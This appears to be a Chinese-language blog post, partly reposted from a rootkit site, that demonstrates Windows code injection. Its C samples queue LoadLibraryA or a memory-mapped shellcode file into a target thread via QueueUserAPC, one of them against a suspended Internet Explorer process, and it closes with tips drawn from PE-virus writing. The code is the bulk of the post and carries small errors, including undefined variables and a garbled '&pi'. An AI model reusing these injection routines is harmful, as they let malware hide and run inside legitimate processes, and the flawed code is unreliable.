Code Inject的新技术来源:http://blog./windowssky/archive/2007/06/18/26959.htmlinject的一般方法是:CreateRemoteThread;今天在Rootkit上看到一个新的方法,让我想起1年前我看到过的类似方法,大家一起看看这种方法吧: 1) 1年前我所看到的方法 DWORD dwResult; HANDLE hThread; HANDLE hProcess; char szDllName[] = "c:\\MyDll.dll"; int nLen = strlen(szDllName) + 1; PVOID pData= VirtualAllocEx(hProcess, NULL, nLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE); if (param != NULL) { if (WriteProcessMemory(hProcess, pData, (LPVOID)szDllName, len, &ret)) { for (DWORD p = 0; p < NumberOfThreads; p++) //寻找适当的线程 { hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]); if (hThread != 0) { InjectDll(hProcess, hThread, (DWORD)pData); CloseHandle(hThread); } } } void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param) { QueueUserAPC( (PAPCFUNC)GetProcAddress(GetModuleHandle ("kernel32.dll"), "LoadLibraryA"), hThread, (DWORD)param ) } 2) Rootkit上的方法,下面代码转自 http://www./newsread.php?newsid=715 #define _WIN32_WINNT 0x0400 #include <windows.h> typedef LONG NTSTATUS, *PNTSTATUS; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG ); func_NtMapViewOfSection NtMapViewOfSection = NULL; LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress ) { NTSTATUS Status; LARGE_INTEGER SectionOffset; ULONG ViewSize; ULONG Protect; LPVOID ViewBase; // Convert the offset SectionOffset.LowPart = dwFileOffsetLow; SectionOffset.HighPart = dwFileOffsetHigh; // Save the size and base ViewBase = lpBaseAddress; ViewSize = dwNumberOfBytesToMap; // Convert flags to NT Protection Attributes if (dwDesiredAccess & FILE_MAP_WRITE) { Protect = PAGE_READWRITE; } else if (dwDesiredAccess & FILE_MAP_READ) { Protect = PAGE_READONLY; } else if (dwDesiredAccess & FILE_MAP_COPY) { Protect = PAGE_WRITECOPY; } else { Protect = PAGE_NOACCESS; } // Map the section Status = NtMapViewOfSection(hFileMappingObject, hProcess, &ViewBase, 0, 0, &SectionOffset, &ViewSize, ViewShare, 0, Protect); if (!NT_SUCCESS(Status)) { // We failed return NULL; } // Return the base return ViewBase; } int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int) { HMODULE hDll = LoadLibrary( "ntdll.dll" ); NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection"); // Getting a shellcode, use whatever you want HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL); // Starting target process STARTUPINFO st; ZeroMemory (&st, sizeof(st)); st.cb = sizeof (STARTUPINFO); PROCESS_INFORMATION pi; ZeroMemory (π, sizeof(pi)); CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, π); // Injecting the shellcode into target process address space LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL); // Create a new APC which will be executed at first when the thread resume QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL); ResumeThread (pi.hThread); CloseHandle (hFile); CloseHandle (hMappedFile); CloseHandle (pi.hThread); CloseHandle (pi.hProcess); return 0; } 总结: 1 巧妙的应用了QueueUserAPC和Apc Queue,上述LoadLibrary动作和MappedFile的shellcode在目标线程被调度为运行状态的时候执行. 2 还记得APC Queue吗? 线程被重新调度为运行状态的时候会检查当前的Apc Queue,只有Queue中所有的Routine被执行完毕后,才执行线程原来被中断(入口)的代码. 3 第二个例子要自己写shellcode,关于如何定位函数,参见PE病毒写法,不要从栈地址找Kenel32的地址了,从TEB中的SEH地址找,默认(最外层)的处理Routine在Kenel32.dll中...... |
|